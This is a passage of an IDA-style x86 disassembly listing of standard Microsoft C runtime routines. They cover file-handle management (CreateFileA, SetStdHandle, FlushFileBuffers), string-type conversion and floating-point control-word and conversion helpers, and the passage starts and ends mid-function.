push 1
push [ebp+arg_10]
call dword_423070 ; MultiByteToWideChar
cmp eax, ebx
jz short loc_41F9C4
push [ebp+arg_C]
push eax
push esi
push [ebp+arg_0]
call dword_423028 ; GetStringTypeW
jmp short loc_41F9C6
; ---------------------------------------------------------------------------
loc_41F9C4: ; CODE XREF: sub_41F88F+61j
; sub_41F88F+9Bj ...
xor eax, eax
loc_41F9C6: ; CODE XREF: sub_41F88F+93j
; sub_41F88F+133j
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41F88F endp
; =============== S U B R O U T I N E =======================================
sub_41F9D8 proc near ; CODE XREF: sub_41FBF2:loc_41FD6Ap
push ebx
push esi
push edi
or ebx, 0FFFFFFFFh
xor edi, edi
xor esi, esi
mov ecx, offset dword_48A7E0
loc_41F9E7: ; CODE XREF: sub_41F9D8+48j
mov eax, [ecx]
test eax, eax
jz short loc_41FA24
lea edx, [eax+100h]
loc_41F9F3: ; CODE XREF: sub_41F9D8+28j
cmp eax, edx
jnb short loc_41FA13
test byte ptr [eax+4], 1
jz short loc_41FA02
add eax, 8
jmp short loc_41F9F3
; ---------------------------------------------------------------------------
loc_41FA02: ; CODE XREF: sub_41F9D8+23j
or dword ptr [eax], 0FFFFFFFFh
sub eax, [ecx]
sar eax, 3
add eax, esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_41FA67
loc_41FA13: ; CODE XREF: sub_41F9D8+1Dj
add ecx, 4
inc edi
add esi, 20h
cmp ecx, offset dword_48A8E0
jl short loc_41F9E7
jmp short loc_41FA67
; ---------------------------------------------------------------------------
loc_41FA24: ; CODE XREF: sub_41F9D8+13j
mov esi, 100h
push esi
call sub_417889
test eax, eax
pop ecx
jz short loc_41FA67
add dword_48A8E0, 20h
lea ecx, ds:48A7E0h[edi*4]
lea edx, [eax+100h]
mov [ecx], eax
loc_41FA4A: ; CODE XREF: sub_41F9D8+88j
cmp eax, edx
jnb short loc_41FA62
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov edx, [ecx]
add eax, 8
add edx, esi
jmp short loc_41FA4A
; ---------------------------------------------------------------------------
loc_41FA62: ; CODE XREF: sub_41F9D8+74j
shl edi, 5
mov ebx, edi
loc_41FA67: ; CODE XREF: sub_41F9D8+39j
; sub_41F9D8+4Aj ...
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41F9D8 endp
; =============== S U B R O U T I N E =======================================
sub_41FA6D proc near ; CODE XREF: sub_41FBF2+1F4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_48A8E0
push edi
jnb short loc_41FACD
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:48A7E0h[ecx*4]
shl esi, 3
mov ecx, [edi]
cmp dword ptr [ecx+esi], 0FFFFFFFFh
jnz short loc_41FACD
cmp dword_438A74, 1
push ebx
mov ebx, [esp+0Ch+arg_4]
jnz short loc_41FAC3
sub eax, 0
jz short loc_41FABA
dec eax
jz short loc_41FAB5
dec eax
jnz short loc_41FAC3
push ebx
push 0FFFFFFF4h
jmp short loc_41FABD
; ---------------------------------------------------------------------------
loc_41FAB5: ; CODE XREF: sub_41FA6D+3Ej
push ebx
push 0FFFFFFF5h
jmp short loc_41FABD
; ---------------------------------------------------------------------------
loc_41FABA: ; CODE XREF: sub_41FA6D+3Bj
push ebx
push 0FFFFFFF6h
loc_41FABD: ; CODE XREF: sub_41FA6D+46j
; sub_41FA6D+4Bj
call dword_423024 ; SetStdHandle
loc_41FAC3: ; CODE XREF: sub_41FA6D+36j
; sub_41FA6D+41j
mov eax, [edi]
mov [eax+esi], ebx
xor eax, eax
pop ebx
jmp short loc_41FAE1
; ---------------------------------------------------------------------------
loc_41FACD: ; CODE XREF: sub_41FA6D+Cj
; sub_41FA6D+28j
and dword_4894B0, 0
mov dword_4894AC, 9
or eax, 0FFFFFFFFh
loc_41FAE1: ; CODE XREF: sub_41FA6D+5Ej
pop edi
pop esi
retn
sub_41FA6D endp
; =============== S U B R O U T I N E =======================================
sub_41FAE4 proc near ; CODE XREF: sub_41A3B7+7Cp
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
cmp ecx, dword_48A8E0
push edi
jnb short loc_41FB47
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea edi, ds:48A7E0h[eax*4]
shl esi, 3
mov eax, [edi]
add eax, esi
test byte ptr [eax+4], 1
jz short loc_41FB47
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_41FB47
cmp dword_438A74, 1
jnz short loc_41FB3D
xor eax, eax
sub ecx, eax
jz short loc_41FB34
dec ecx
jz short loc_41FB2F
dec ecx
jnz short loc_41FB3D
push eax
push 0FFFFFFF4h
jmp short loc_41FB37
; ---------------------------------------------------------------------------
loc_41FB2F: ; CODE XREF: sub_41FAE4+41j
push eax
push 0FFFFFFF5h
jmp short loc_41FB37
; ---------------------------------------------------------------------------
loc_41FB34: ; CODE XREF: sub_41FAE4+3Ej
push eax
push 0FFFFFFF6h
loc_41FB37: ; CODE XREF: sub_41FAE4+49j
; sub_41FAE4+4Ej
call dword_423024 ; SetStdHandle
loc_41FB3D: ; CODE XREF: sub_41FAE4+38j
; sub_41FAE4+44j
mov eax, [edi]
or dword ptr [eax+esi], 0FFFFFFFFh
xor eax, eax
jmp short loc_41FB5B
; ---------------------------------------------------------------------------
loc_41FB47: ; CODE XREF: sub_41FAE4+Cj
; sub_41FAE4+2Aj ...
and dword_4894B0, 0
mov dword_4894AC, 9
or eax, 0FFFFFFFFh
loc_41FB5B: ; CODE XREF: sub_41FAE4+61j
pop edi
pop esi
retn
sub_41FAE4 endp
; =============== S U B R O U T I N E =======================================
sub_41FB5E proc near ; CODE XREF: sub_41A3B7+32p
; sub_41A3B7+49p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_48A8E0
jnb short loc_41FB86
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_48A7E0[ecx*4]
test byte ptr [ecx+eax*8+4], 1
lea eax, [ecx+eax*8]
jz short loc_41FB86
mov eax, [eax]
retn
; ---------------------------------------------------------------------------
loc_41FB86: ; CODE XREF: sub_41FB5E+Aj
; sub_41FB5E+23j
and dword_4894B0, 0
mov dword_4894AC, 9
or eax, 0FFFFFFFFh
retn
sub_41FB5E endp
; =============== S U B R O U T I N E =======================================
sub_41FB9B proc near ; CODE XREF: sub_41A495+2Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_48A8E0
jnb short loc_41FBE4
mov ecx, eax
mov edx, eax
sar ecx, 5
and edx, 1Fh
mov ecx, dword_48A7E0[ecx*4]
test byte ptr [ecx+edx*8+4], 1
jz short loc_41FBE4
push eax
call sub_41FB5E
pop ecx
push eax
call dword_423020 ; FlushFileBuffers
test eax, eax
jnz short loc_41FBD9
call dword_42308C ; RtlGetLastWin32Error
jmp short loc_41FBDB
; ---------------------------------------------------------------------------
loc_41FBD9: ; CODE XREF: sub_41FB9B+34j
xor eax, eax
loc_41FBDB: ; CODE XREF: sub_41FB9B+3Cj
test eax, eax
jz short locret_41FBF1
mov dword_4894B0, eax
loc_41FBE4: ; CODE XREF: sub_41FB9B+Aj
; sub_41FB9B+22j
mov dword_4894AC, 9
or eax, 0FFFFFFFFh
locret_41FBF1: ; CODE XREF: sub_41FB9B+42j
retn
sub_41FB9B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FBF2 proc near ; CODE XREF: sub_41A66C+13Fp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
mov ecx, [ebp+arg_4]
push ebx
xor ebx, ebx
push esi
test cl, 80h
push edi
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], ebx
jz short loc_41FC18
mov [ebp+var_14], ebx
mov [ebp+var_1], 10h
jmp short loc_41FC23
; ---------------------------------------------------------------------------
loc_41FC18: ; CODE XREF: sub_41FBF2+1Bj
and [ebp+var_1], 0
mov [ebp+var_14], 1
loc_41FC23: ; CODE XREF: sub_41FBF2+24j
mov eax, 8000h
test ecx, eax
jnz short loc_41FC3D
test ch, 40h
jnz short loc_41FC39
cmp dword_489780, eax
jz short loc_41FC3D
loc_41FC39: ; CODE XREF: sub_41FBF2+3Dj
or [ebp+var_1], 80h
loc_41FC3D: ; CODE XREF: sub_41FBF2+38j
; sub_41FBF2+45j
push 3
mov eax, ecx
pop esi
and eax, esi
sub eax, ebx
jz short loc_41FC75
dec eax
jz short loc_41FC6C
dec eax
jz short loc_41FC63
loc_41FC4E: ; CODE XREF: sub_41FBF2+9Fj
; sub_41FBF2+E8j ...
mov dword_4894AC, 16h
mov dword_4894B0, ebx
jmp loc_41FE88
; ---------------------------------------------------------------------------
loc_41FC63: ; CODE XREF: sub_41FBF2+5Aj
mov [ebp+var_C], 0C0000000h
jmp short loc_41FC7C
; ---------------------------------------------------------------------------
loc_41FC6C: ; CODE XREF: sub_41FBF2+57j
mov [ebp+var_C], 40000000h
jmp short loc_41FC7C
; ---------------------------------------------------------------------------
loc_41FC75: ; CODE XREF: sub_41FBF2+54j
mov [ebp+var_C], 80000000h
loc_41FC7C: ; CODE XREF: sub_41FBF2+78j
; sub_41FBF2+81j
mov eax, [ebp+arg_8]
cmp eax, 10h
jz short loc_41FCAA
cmp eax, 20h
jz short loc_41FCA1
cmp eax, 30h
jz short loc_41FC98
cmp eax, 40h
jnz short loc_41FC4E
mov [ebp+var_10], esi
jmp short loc_41FCAD
; ---------------------------------------------------------------------------
loc_41FC98: ; CODE XREF: sub_41FBF2+9Aj
mov [ebp+var_10], 2
jmp short loc_41FCAD
; ---------------------------------------------------------------------------
loc_41FCA1: ; CODE XREF: sub_41FBF2+95j
mov [ebp+var_10], 1
jmp short loc_41FCAD
; ---------------------------------------------------------------------------
loc_41FCAA: ; CODE XREF: sub_41FBF2+90j
mov [ebp+var_10], ebx
loc_41FCAD: ; CODE XREF: sub_41FBF2+A4j
; sub_41FBF2+ADj ...
mov edx, 700h
mov eax, 400h
and ecx, edx
mov edi, 100h
cmp ecx, eax
jg short loc_41FCF7
jz short loc_41FCF2
cmp ecx, ebx
jz short loc_41FCF2
cmp ecx, edi
jz short loc_41FCE9
cmp ecx, 200h
jz short loc_41FD10
cmp ecx, 300h
jnz loc_41FC4E
mov [ebp+var_8], 2
jmp short loc_41FD20
; ---------------------------------------------------------------------------
loc_41FCE9: ; CODE XREF: sub_41FBF2+D8j
mov [ebp+var_8], 4
jmp short loc_41FD20
; ---------------------------------------------------------------------------
loc_41FCF2: ; CODE XREF: sub_41FBF2+D0j
; sub_41FBF2+D4j
mov [ebp+var_8], esi
jmp short loc_41FD20
; ---------------------------------------------------------------------------
loc_41FCF7: ; CODE XREF: sub_41FBF2+CEj
cmp ecx, 500h
jz short loc_41FD19
cmp ecx, 600h
jz short loc_41FD10
cmp ecx, edx
jz short loc_41FD19
jmp loc_41FC4E
; ---------------------------------------------------------------------------
loc_41FD10: ; CODE XREF: sub_41FBF2+E0j
; sub_41FBF2+113j
mov [ebp+var_8], 5
jmp short loc_41FD20
; ---------------------------------------------------------------------------
loc_41FD19: ; CODE XREF: sub_41FBF2+10Bj
; sub_41FBF2+117j
mov [ebp+var_8], 1
loc_41FD20: ; CODE XREF: sub_41FBF2+F5j
; sub_41FBF2+FEj ...
mov eax, [ebp+arg_4]
mov esi, 80h
test eax, edi
jz short loc_41FD3F
mov ecx, dword_4894B4
not ecx
and ecx, [ebp+arg_C]
test cl, 80h
jnz short loc_41FD3F
push 1
pop esi
loc_41FD3F: ; CODE XREF: sub_41FBF2+138j
; sub_41FBF2+148j
test al, 40h
jz short loc_41FD4D
or esi, 4000000h
or byte ptr [ebp+var_C+2], 1
loc_41FD4D: ; CODE XREF: sub_41FBF2+14Fj
test ah, 10h
jz short loc_41FD54
or esi, edi
loc_41FD54: ; CODE XREF: sub_41FBF2+15Ej
test al, 20h
jz short loc_41FD60
or esi, 8000000h
jmp short loc_41FD6A
; ---------------------------------------------------------------------------
loc_41FD60: ; CODE XREF: sub_41FBF2+164j
test al, 10h
jz short loc_41FD6A
or esi, 10000000h
loc_41FD6A: ; CODE XREF: sub_41FBF2+16Cj
; sub_41FBF2+170j
call sub_41F9D8
mov ebx, eax
or edi, 0FFFFFFFFh
cmp ebx, edi
jnz short loc_41FD8B
and dword_4894B0, 0
mov dword_4894AC, 18h
jmp short loc_41FDC9
; ---------------------------------------------------------------------------
loc_41FD8B: ; CODE XREF: sub_41FBF2+184j
push 0
push esi
push [ebp+var_8]
lea eax, [ebp+var_1C]
push eax
push [ebp+var_10]
push [ebp+var_C]
push [ebp+arg_0]
call dword_423084 ; CreateFileA
mov esi, eax
cmp esi, edi
jz short loc_41FDBC
push esi
call dword_423030 ; GetFileType
test eax, eax
jnz short loc_41FDD0
push esi
call dword_423078 ; CloseHandle
loc_41FDBC: ; CODE XREF: sub_41FBF2+1B6j
call dword_42308C ; RtlGetLastWin32Error
push eax
call sub_41EC6F
pop ecx
loc_41FDC9: ; CODE XREF: sub_41FBF2+197j
mov eax, edi
jmp loc_41FEA6
; ---------------------------------------------------------------------------
loc_41FDD0: ; CODE XREF: sub_41FBF2+1C1j
cmp eax, 2
jnz short loc_41FDDB
or [ebp+var_1], 40h
jmp short loc_41FDE4
; ---------------------------------------------------------------------------
loc_41FDDB: ; CODE XREF: sub_41FBF2+1E1j
cmp eax, 3
jnz short loc_41FDE4
or [ebp+var_1], 8
loc_41FDE4: ; CODE XREF: sub_41FBF2+1E7j
; sub_41FBF2+1ECj
push esi
push ebx
call sub_41FA6D
pop ecx
mov al, [ebp+var_1]
pop ecx
mov esi, ebx
mov ecx, ebx
or al, 1
sar ecx, 5
and esi, 1Fh
mov byte ptr [ebp+arg_0+3], al
lea edi, ds:48A7E0h[ecx*4]
shl esi, 3
mov ecx, [edi]
and byte ptr [ebp+arg_0+3], 48h
mov [ecx+esi+4], al
jnz short loc_41FE8D
test al, 80h
jz short loc_41FE8D
test byte ptr [ebp+arg_4], 2
jz short loc_41FE8D
push 2
push 0FFFFFFFFh
push ebx
call sub_41E217
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jnz short loc_41FE42
cmp dword_4894B0, 83h
jz short loc_41FE8D
jmp short loc_41FE81
; ---------------------------------------------------------------------------
loc_41FE42: ; CODE XREF: sub_41FBF2+240j
and byte ptr [ebp+arg_8+3], 0
lea eax, [ebp+arg_8+3]
push 1
push eax
push ebx
call sub_41E021
add esp, 0Ch
test eax, eax
jnz short loc_41FE6F
cmp byte ptr [ebp+arg_8+3], 1Ah
jnz short loc_41FE6F
push [ebp+var_10]
push ebx
call sub_420F21
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41FE81
loc_41FE6F: ; CODE XREF: sub_41FBF2+265j
; sub_41FBF2+26Bj
push 0
push 0
push ebx
call sub_41E217
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_41FE8D
loc_41FE81: ; CODE XREF: sub_41FBF2+24Ej
; sub_41FBF2+27Bj
push ebx
call sub_41A3B7
pop ecx
loc_41FE88: ; CODE XREF: sub_41FBF2+6Cj
or eax, 0FFFFFFFFh
jmp short loc_41FEA6
; ---------------------------------------------------------------------------
loc_41FE8D: ; CODE XREF: sub_41FBF2+221j
; sub_41FBF2+225j ...
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_41FEA4
test byte ptr [ebp+arg_4], 8
jz short loc_41FEA4
mov eax, [edi]
or byte ptr [eax+esi+4], 20h
lea eax, [eax+esi+4]
loc_41FEA4: ; CODE XREF: sub_41FBF2+29Fj
; sub_41FBF2+2A5j
mov eax, ebx
loc_41FEA6: ; CODE XREF: sub_41FBF2+1D9j
; sub_41FBF2+299j
pop edi
pop esi
pop ebx
leave
retn
sub_41FBF2 endp
; =============== S U B R O U T I N E =======================================
sub_41FEAB proc near ; CODE XREF: sub_41C20A+52p
xor eax, eax
retn
sub_41FEAB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FEAE proc near ; CODE XREF: sub_41FEE3+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
fstcw word ptr [ebp+var_4]
push [ebp+var_4]
call sub_41FEF9
mov esi, eax
mov eax, [ebp+arg_4]
not eax
and esi, eax
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
or esi, eax
push esi
call sub_41FF8B
pop ecx
mov [ebp+arg_4], eax
pop ecx
fldcw word ptr [ebp+arg_4]
mov eax, esi
pop esi
leave
retn
sub_41FEAE endp
; =============== S U B R O U T I N E =======================================
sub_41FEE3 proc near ; CODE XREF: sub_41C4F6+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
and eax, 0FFF7FFFFh
push eax
push [esp+4+arg_0]
call sub_41FEAE
pop ecx
pop ecx
retn
sub_41FEE3 endp
; =============== S U B R O U T I N E =======================================
sub_41FEF9 proc near ; CODE XREF: sub_41FEAE+Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push ebp
test bl, 1
push edi
jz short loc_41FF0A
push 10h
pop eax
loc_41FF0A: ; CODE XREF: sub_41FEF9+Cj
test bl, 4
jz short loc_41FF11
or al, 8
loc_41FF11: ; CODE XREF: sub_41FEF9+14j
test bl, 8
jz short loc_41FF18
or al, 4
loc_41FF18: ; CODE XREF: sub_41FEF9+1Bj
test bl, 10h
jz short loc_41FF1F
or al, 2
loc_41FF1F: ; CODE XREF: sub_41FEF9+22j
test bl, 20h
jz short loc_41FF26
or al, 1
loc_41FF26: ; CODE XREF: sub_41FEF9+29j
test bl, 2
jz short loc_41FF30
or eax, 80000h
loc_41FF30: ; CODE XREF: sub_41FEF9+30j
movzx ecx, bx
push esi
mov edx, ecx
mov esi, 0C00h
mov edi, 300h
and edx, esi
mov ebp, 200h
jz short loc_41FF68
cmp edx, 400h
jz short loc_41FF65
cmp edx, 800h
jz short loc_41FF61
cmp edx, esi
jnz short loc_41FF68
or eax, edi
jmp short loc_41FF68
; ---------------------------------------------------------------------------
loc_41FF61: ; CODE XREF: sub_41FEF9+5Ej
or eax, ebp
jmp short loc_41FF68
; ---------------------------------------------------------------------------
loc_41FF65: ; CODE XREF: sub_41FEF9+56j
or ah, 1
loc_41FF68: ; CODE XREF: sub_41FEF9+4Ej
; sub_41FEF9+62j ...
and ecx, edi
pop esi
jz short loc_41FF78
cmp ecx, ebp
jnz short loc_41FF7D
or eax, 10000h
jmp short loc_41FF7D
; ---------------------------------------------------------------------------
loc_41FF78: ; CODE XREF: sub_41FEF9+72j
or eax, 20000h
loc_41FF7D: ; CODE XREF: sub_41FEF9+76j
; sub_41FEF9+7Dj
pop edi
pop ebp
test bh, 10h
pop ebx
jz short locret_41FF8A
or eax, 40000h
locret_41FF8A: ; CODE XREF: sub_41FEF9+8Aj
retn
sub_41FEF9 endp
; =============== S U B R O U T I N E =======================================
sub_41FF8B proc near ; CODE XREF: sub_41FEAE+23p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push esi
test bl, 10h
jz short loc_41FF9B
push 1
pop eax
loc_41FF9B: ; CODE XREF: sub_41FF8B+Bj
test bl, 8
jz short loc_41FFA2
or al, 4
loc_41FFA2: ; CODE XREF: sub_41FF8B+13j
test bl, 4
jz short loc_41FFA9
or al, 8
loc_41FFA9: ; CODE XREF: sub_41FF8B+1Aj
test bl, 2
jz short loc_41FFB0
or al, 10h
loc_41FFB0: ; CODE XREF: sub_41FF8B+21j
test bl, 1
jz short loc_41FFB7
or al, 20h
loc_41FFB7: ; CODE XREF: sub_41FF8B+28j
test ebx, 80000h
jz short loc_41FFC1
or al, 2
loc_41FFC1: ; CODE XREF: sub_41FF8B+32j
mov ecx, ebx
mov edx, 300h
and ecx, edx
mov esi, 200h
jz short loc_41FFEE
cmp ecx, 100h
jz short loc_41FFEB
cmp ecx, esi
jz short loc_41FFE6
cmp ecx, edx
jnz short loc_41FFEE
or ah, 0Ch
jmp short loc_41FFEE
; ---------------------------------------------------------------------------
loc_41FFE6: ; CODE XREF: sub_41FF8B+50j
or ah, 8
jmp short loc_41FFEE
; ---------------------------------------------------------------------------
loc_41FFEB: ; CODE XREF: sub_41FF8B+4Cj
or ah, 4
loc_41FFEE: ; CODE XREF: sub_41FF8B+44j
; sub_41FF8B+54j ...
mov ecx, ebx
and ecx, 30000h
jz short loc_420004
cmp ecx, 10000h
jnz short loc_420006
or eax, esi
jmp short loc_420006
; ---------------------------------------------------------------------------
loc_420004: ; CODE XREF: sub_41FF8B+6Bj
or eax, edx
loc_420006: ; CODE XREF: sub_41FF8B+73j
; sub_41FF8B+77j
pop esi
test ebx, 40000h
pop ebx
jz short locret_420013
or ah, 10h
locret_420013: ; CODE XREF: sub_41FF8B+83j
retn
sub_41FF8B endp
; =============== S U B R O U T I N E =======================================
sub_420014 proc near ; CODE XREF: sub_4200B3+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
push 20h
cdq
pop ecx
idiv ecx
push 1Fh
mov esi, eax
mov eax, [esp+8+arg_4]
cdq
idiv ecx
pop ecx
mov eax, [esp+4+arg_0]
sub ecx, edx
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [eax+esi*4], edx
jnz short loc_420059
inc esi
cmp esi, 3
jge short loc_420054
lea eax, [eax+esi*4]
loc_420046: ; CODE XREF: sub_420014+3Ej
cmp dword ptr [eax], 0
jnz short loc_420059
inc esi
add eax, 4
cmp esi, 3
jl short loc_420046
loc_420054: ; CODE XREF: sub_420014+2Dj
push 1
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_420059: ; CODE XREF: sub_420014+27j
; sub_420014+35j
xor eax, eax
pop esi
retn
sub_420014 endp
; =============== S U B R O U T I N E =======================================
sub_42005D proc near ; CODE XREF: sub_4200B3+57p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
push edi
push 20h
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
idiv ecx
mov esi, eax
mov eax, [esp+0Ch+arg_4]
cdq
idiv ecx
lea edi, [ebx+esi*4]
push edi
push 1Fh
pop ecx
push 1
pop eax
sub ecx, edx
shl eax, cl
push eax
push dword ptr [edi]
call sub_421067
add esp, 0Ch
dec esi
js short loc_4200AF
lea edi, [ebx+esi*4]
loc_420096: ; CODE XREF: sub_42005D+50j
test eax, eax
jz short loc_4200AF
push edi
push 1
push dword ptr [edi]
call sub_421067
add esp, 0Ch
dec esi
sub edi, 4
test esi, esi
jge short loc_420096
loc_4200AF: ; CODE XREF: sub_42005D+34j
; sub_42005D+3Bj
pop edi
pop esi
pop ebx
retn
sub_42005D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4200B3 proc near ; CODE XREF: sub_42020E+81p
; sub_42020E+CCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
lea edi, [eax-1]
push 20h
pop ecx
and [ebp+var_4], 0
lea ebx, [edi+1]
push 20h
mov eax, ebx
pop esi
cdq
idiv ecx
push 1Fh
mov ecx, eax
mov eax, ebx
cdq
idiv esi
mov eax, [ebp+arg_0]
pop esi
push 1
mov [ebp+var_8], ecx
lea eax, [eax+ecx*4]
mov [ebp+arg_4], eax
sub esi, edx
pop edx
mov ecx, esi
shl edx, cl
test [eax], edx
jz short loc_420117
inc ebx
push ebx
push [ebp+arg_0]
call sub_420014
pop ecx
test eax, eax
pop ecx
jnz short loc_420114
push edi
push [ebp+arg_0]
call sub_42005D
pop ecx
mov [ebp+var_4], eax
pop ecx
loc_420114: ; CODE XREF: sub_4200B3+51j
mov eax, [ebp+arg_4]
loc_420117: ; CODE XREF: sub_4200B3+41j
or edx, 0FFFFFFFFh
mov ecx, esi
shl edx, cl
push 3
pop ecx
and [eax], edx
mov eax, [ebp+var_8]
inc eax
cmp eax, ecx
jge short loc_420137
mov edx, [ebp+arg_0]
sub ecx, eax
lea edi, [edx+eax*4]
xor eax, eax
rep stosd
loc_420137: ; CODE XREF: sub_4200B3+76j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_4200B3 endp
; =============== S U B R O U T I N E =======================================
sub_42013F proc near ; CODE XREF: sub_42020E+75p
; sub_42020E+B6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push esi
push 3
sub ecx, eax
pop edx
loc_42014D: ; CODE XREF: sub_42013F+17j
mov esi, [eax]
mov [ecx+eax], esi
add eax, 4
dec edx
jnz short loc_42014D
pop esi
retn
sub_42013F endp
; =============== S U B R O U T I N E =======================================
sub_42015A proc near ; CODE XREF: sub_42020E+5Fp
; sub_42020E+9Ep ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor eax, eax
stosd
stosd
stosd
pop edi
retn
sub_42015A endp
; =============== S U B R O U T I N E =======================================
sub_420166 proc near ; CODE XREF: sub_42020E+4Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
loc_42016C: ; CODE XREF: sub_420166+12j
cmp dword ptr [eax], 0
jnz short loc_42017E
inc ecx
add eax, 4
cmp ecx, 3
jl short loc_42016C
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_42017E: ; CODE XREF: sub_420166+9j
xor eax, eax
retn
sub_420166 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420181 proc near ; CODE XREF: sub_42020E+C0p
; sub_42020E+DAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 20h
mov edi, [ebp+arg_0]
pop ebx
or esi, 0FFFFFFFFh
cdq
mov ecx, ebx
mov [ebp+var_4], 3
idiv ecx
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
cdq
idiv ecx
and [ebp+arg_4], 0
mov ecx, edx
shl esi, cl
sub ebx, edx
not esi
loc_4201B7: ; CODE XREF: sub_420181+58j
mov eax, [edi]
mov ecx, eax
and ecx, esi
mov [ebp+var_8], ecx
mov ecx, edx
shr eax, cl
or eax, [ebp+arg_4]
mov [edi], eax
mov eax, [ebp+var_8]
mov ecx, ebx
add edi, 4
shl eax, cl
dec [ebp+var_4]
mov [ebp+arg_4], eax
jnz short loc_4201B7
mov edi, [ebp+var_C]
push 2
pop ebx
mov esi, edi
push 8
pop ecx
shl esi, 2
loc_4201E9: ; CODE XREF: sub_420181+86j
cmp ebx, edi
jl short loc_4201FC
mov edx, [ebp+arg_0]
mov eax, ecx
sub eax, esi
mov eax, [eax+edx]
mov [ecx+edx], eax
jmp short loc_420203
; ---------------------------------------------------------------------------
loc_4201FC: ; CODE XREF: sub_420181+6Aj
mov eax, [ebp+arg_0]
and dword ptr [ecx+eax], 0
loc_420203: ; CODE XREF: sub_420181+79j
dec ebx
sub ecx, 4
jns short loc_4201E9
pop edi
pop esi
pop ebx
leave
retn
sub_420181 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42020E proc near ; CODE XREF: sub_42037A+Dp
; sub_420390+Dp
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
movzx ecx, word ptr [eax+0Ah]
mov ebx, ecx
and ecx, 8000h
mov [ebp+arg_0], ecx
mov ecx, [eax+6]
mov [ebp+var_C], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
mov edi, [ebp+arg_8]
and ebx, 7FFFh
sub ebx, 3FFFh
mov [ebp+var_8], ecx
shl eax, 10h
cmp ebx, 0FFFFC001h
mov [ebp+var_4], eax
jnz short loc_42027B
lea eax, [ebp+var_C]
xor esi, esi
push eax
call sub_420166
test eax, eax
pop ecx
jnz loc_42033A
lea eax, [ebp+var_C]
push eax
call sub_42015A
pop ecx
loc_420273: ; CODE XREF: sub_42020E+E4j
push 2
loc_420275: ; CODE XREF: sub_42020E+110j
pop eax
jmp loc_42033C
; ---------------------------------------------------------------------------
loc_42027B: ; CODE XREF: sub_42020E+45j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_18]
push eax
call sub_42013F
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_4200B3
add esp, 10h
test eax, eax
jz short loc_42029C
inc ebx
loc_42029C: ; CODE XREF: sub_42020E+8Bj
mov eax, [edi+4]
mov ecx, eax
sub ecx, [edi+8]
cmp ebx, ecx
jge short loc_4202B4
lea eax, [ebp+var_C]
push eax
call sub_42015A
pop ecx
jmp short loc_4202F0
; ---------------------------------------------------------------------------
